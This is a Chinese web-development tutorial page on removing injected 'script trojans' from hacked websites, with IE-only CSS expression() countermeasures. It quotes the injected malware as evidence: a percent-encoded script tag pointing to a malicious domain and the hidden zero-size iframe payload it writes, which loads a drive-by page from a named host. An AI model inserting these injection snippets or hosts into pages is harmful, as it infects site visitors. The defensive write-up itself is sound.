解决全部网页木马的技巧

2016-02-19 23:15 12 1 收藏

岁数大了,QQ也不闪了,微信也不响了,电话也不来了,但是图老师依旧坚持为大家推荐最精彩的内容,下面为大家精心准备的解决全部网页木马的技巧,希望大家看完后能赶快学习起来。

【 tulaoshi.com - Web开发 】

还是挂马问题,这段时间,我渐渐感到压力,头大,通过QQ或MSN加我的人越来越多,我最近自己的工作本来就忙得不亦乐乎。哎,想想,还是要抽空来来帮帮大家。

前不久《一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂script木马,汗了,看了几个网友的网站都被这样了页面的顶部或底部加上了:

注意,以下地址含有木马,请不要轻易访问:

script src=http://%76%63%63%64%2E%63%6E/script
script src=http://%76%63%63%64%2E%63%6E/script
script src=http://%76%63%63%64%2E%63%6E/script
script src=http://%76%63%63%64%2E%63%6E/script
script src=http://%76%63%63%64%2E%63%6E/script
script src=http://%76%63%63%64%2E%63%6E/script
script src=http://%76%63%63%64%2E%63%6E/script
script src=http://%76%63%63%64%2E%63%6E/script

汗死,一连插入了N个一样的script标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:

document.write("div style='display:none'")
document.write("iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0/iframe")
document.write("/div")

又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!

...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLLXXXXXLD"; Kfqq = Qqs;
(...略)(下面还有N个统计的JS代码)

针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,script木马的特点是什么:

script src=http://%76%63%63%64%2E%63%6E/script

对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他object代码,不管这么多,来多少杀多少。

来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/webkaifa/)

解决方案1

iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/webkaifa/)

原理:将script标记的src拿出来转为小写,再看是不是以http开头的外域JS脚本文件,如果是,则页面内容清空并写出木马被成功隔离!。反之正常显示。

缺点:访客无法看到被感染了script木马的页面。

解决方案2

iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。

来源:http://www.tulaoshi.com/n/20160219/1629518.html

延伸阅读
如何使用360网盾的木马网页拦截功能?   在360网盾主程序上网保护选项卡中的 网页木马病毒拦截开启。当你访问木马、病毒等程序时360网盾会提醒您风险。
标签: 电脑入门
朋友预装了Windows8.1的机器,但是在做了系统更新后,却发现之前能压缩全部的压缩卷竟然不能压缩全部,只能压缩了一部分,再次压缩却提示没有可用的空间,此时去查看C盘的大小却提示空间充足。这是怎么回事呢? 原因分析: 可能是安装了软件或者是补丁,导致系统创建了还原点,导致压缩卷功能只能压缩后半部分可用的空间。 解决方法: 1. ...
  <html <head <title软件盘</title <script function ad(str) {     document.form1.p1.value = document.form1.p1.value + str; } </script </head <body <form method=post action="" name="form1" 密码:<input type="password" name="p1" </form <input type="button" onclick=...
标签: Web开发
最近公司和好朋友的网站纷纷被IFRAME了,有的挂上了鸽子,有的疯狂地弹窗,有的给人家增加流量。一个个文件去查找替换那些IFRAME代码,刚松口气,不久又加上去了。于是他们向我这个"JS高手"求救,我也不能等闲视之,只好击键杀杀杀了。 因为FF(Firefox)不怕IFRAME,于是就拿IE开刀。我只写了一句代码,就搞定了。就是IE 特...
标签: 聊天软件
  一、 QQ中防范木马的新方法 大家知道,目前黑客工具实在是太多了,木马就是其中之一,特别是针对QQ的木马就更是数不胜数了。那么有什么办法避免木马记录我们输入的密码呢?这里推荐一个小方法,可以使你的QQ密码安全许多!具体方法是:假如你的QQ密码是5009,在输入时最后不直接输入该密码,这样直接输入会被直接记录下来。你可...

经验教程

630

收藏

64
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部